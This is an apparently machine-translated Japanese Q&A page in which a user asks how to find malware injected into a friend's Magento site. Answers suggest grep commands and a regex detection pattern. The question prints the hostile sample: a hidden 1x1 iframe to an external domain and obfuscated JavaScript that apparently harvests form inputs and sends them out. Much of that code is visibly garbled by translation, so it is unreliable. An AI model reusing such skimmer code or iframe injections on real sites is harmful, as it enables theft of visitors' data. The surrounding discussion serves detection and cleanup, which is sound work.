2016-04-16 7 views
-2

私の友人がヘルプを求めて、彼のMagentoサイトがマルウェアに感染しています、特定の行のphp/javascriptディレクトリ+ subdirをスキャンする有効な方法またはツールはありますか?コード:この場合:リンクのためにphpディレクトリをスキャンするにはどうすればいいですか?

//]]> < "iframe" src = "http://web-statistika-google-now.com/?Yddv7D" width = "1" height = "1" frameborder = "0"> ( "追加") と

するvar _0x20f1 = [ "\ x6C \ x6F \ X63 \ X61 \ X74 \ X69 \ x6F \ x6E"、 "\ X74 \ X65 \ x73 \ x74 "、" \ x6F \ x6E \ x65 \ x70 \ x61 \ x67 \ x65 \ x7C \ x x64 \ x64 \ x63 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x65 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x6F \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ \ x64 \ x65 \ x64 \ x64 \ x64 \ x64 \ x45 \ x76 \ x65 \ x6e \ x74 \ x4c \ x69 \ x73 \ x74 \ x65 \ x6E \ x65 \ x72 "、" \ x69 \ x6E \ x70 \ x75 \ x74 \ x2 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x65 \ x64 \ x64 \ x64 \ \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ \ x76 \ x61 \ x6c \ x75 \ x65 "、" \ x69 \ x64 "、" \ x3D "、" \ x26 "、" \ x61 \ x5B " ¥x68¥x72¥x65¥x66¥x2A¥x3D¥x27¥x6A¥x61¥x76¥x61¥x73¥x63¥x72¥x69¥x70¥x74¥x3A¥x76¥x6F¥x69¥x64¥x28¥x30¥x29 \ x27 \ x5 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x74 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ "、" \ x73 \ x6c \ x65 \ x63 \ x74 "、" \ x63 \ x68 \ x65 \ 「\ x64 \ x64 \ x64」、「\ x64 \ x64 \ x64」、「\ x64 \ x64 \ x64 \ x64」、 \ x63 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ 「\ x64 \ x64 \ x64 \ x64」、「\ x64 \ x64 \ x64 \ x64」、「\ x64 \ x64 \ x64 \ x64」、 「\ x31」、「\ x31」、「\ x31」、「\ x31」、「\ x31」、「\ x31」、「\ x31」、 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x6 \ x64 \ x64 \ x69 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ "\ x43 \ x6 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ "x64 \ x64 \ x64 \ x64 \ x64 \ \ x64 \ x61 \ x74 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x61 \ x64 \ x73 \ x73 \ x73 \ x64 \ x73 \ x73 \ x64 \ x73 \ x64 \ x64 \ x64 \ x64 \ x64 \ x65 \ x6E \ x64 "、" \ x73 \ x65 \ x6E \ x64 \ x28 \ x29 "]; var snd = null; function sta (var _0xdb51x5 =){var _0xdb51x4 = document_0x20f1 [6]; for(var _0xdb51x5 = 0; _0xdb51x5 = 0xdb51x6 = _0xdb51x5 [_ 0x20f1 [9]](0x20f1 [8]] [0x20f1 [0]) 0x20f1 [9]] + _ 0x20f1 [11] + _ 0xdb51x4 [_0xdb51x5] [_ 0x20f1 [8]] + 0x20f1 [12] 0x20f1 [11] + _ 0xdb51x4 [_0xdb51x5] [_0xdb51x5] (_0xdb51x5 = 0; _0xdb51x5 = 0; _0xdb51x5 <_0xdb51x8 [_0x20f1 [7]]; _ 0xdb51x5 ++){var _0xdb51x9 = _0xdb51x8 [_0xdb51x5]; if(_0xdb51x9 [0]);}};}関数send(){var _0xdb51x8 = document_0x20f1 [ _0x20f1 [14]]!= _ 0x20f1 [15] & & _0xdb51x9 [_0x20f1 [14]]!= _ 0x20f1 [16] & & _0xdb51x9 [_0x20f1 [14]]!= _ 0x20f1 [17] & & _0xdb51x9 [_0x20f1 [14] != _ 0x20f1 [18](_0xdb51x9 [_0x20f1 [4]}){_ 0xdb51x9_0x20f1 [4]} else {_0xdb51x9_0x20f1 [22]}};}; var _0xdb51xa = document_0x20f1 [6] {0xdb51x9 [_0x20f1 [4] (_0xdb51xa [_0xdb51x5] [_ 0x20f1 [4]]){_ 0xdb51xa [_0xdb51x5] _0x20f1 [4]} else {_0xdb51xa [_0xdb51x5](0x05db1x5)[_0xdb51x5] _0xdb51x5 0 _0xdb51x5 01206db51xa_0xdb51xa (_0xdb51xb_0x20f1 [1]){_ 0xdb51xc(_0xdb51xc);} _0x205f1 [28]; if _(_0x2051f) setTimeout(_0x20f1 [40]、140); _ _xx51_dx_xx_fx_xx_fx_0x20f1 [32]; _ 0xx51xd =新しいXMLHttpRequest(); 0xdb51xd_0x20f1 [32]; 0xdb51xd_0x20f1 [35]; 0xdb51xd_0x20f1 [39]; console_0x20f1 [26];}; ;}

すべてのヘルプは非常にappreciatetだろう!ヤン

+0

私たちは最近、これらの1つを仕事に使っていました。その正確な文字列に対して 'grep'を試すことができます。私たちはファイルの大半をバックアップしていましたが、残りの部分を手作業で探していたら素早く何らかの文字列置換ソリューションを作りました。 – tenCupMaximum

答えて

0

ルートでは、少なくとも現在のものと一致

grep -r "var _0x[a-Z0-9]*=[\"\\x[a-Z0-9]*".*setTimeout\(.*\)\;\} . 

を試してみてください。あなたが本当に必死でない限り、私はそれを見つけてそれに取って代わることはしません。

var_0xで始まり、冒頭に多くの16進数を含み、次に例のようにsetTimeout呼び出しで終了すると仮定しました。

少なくとも、潜在的な問題ファイルを特定するのに役立ちます(私たちの場合、すべての問題ファイルでした)。

関連する問題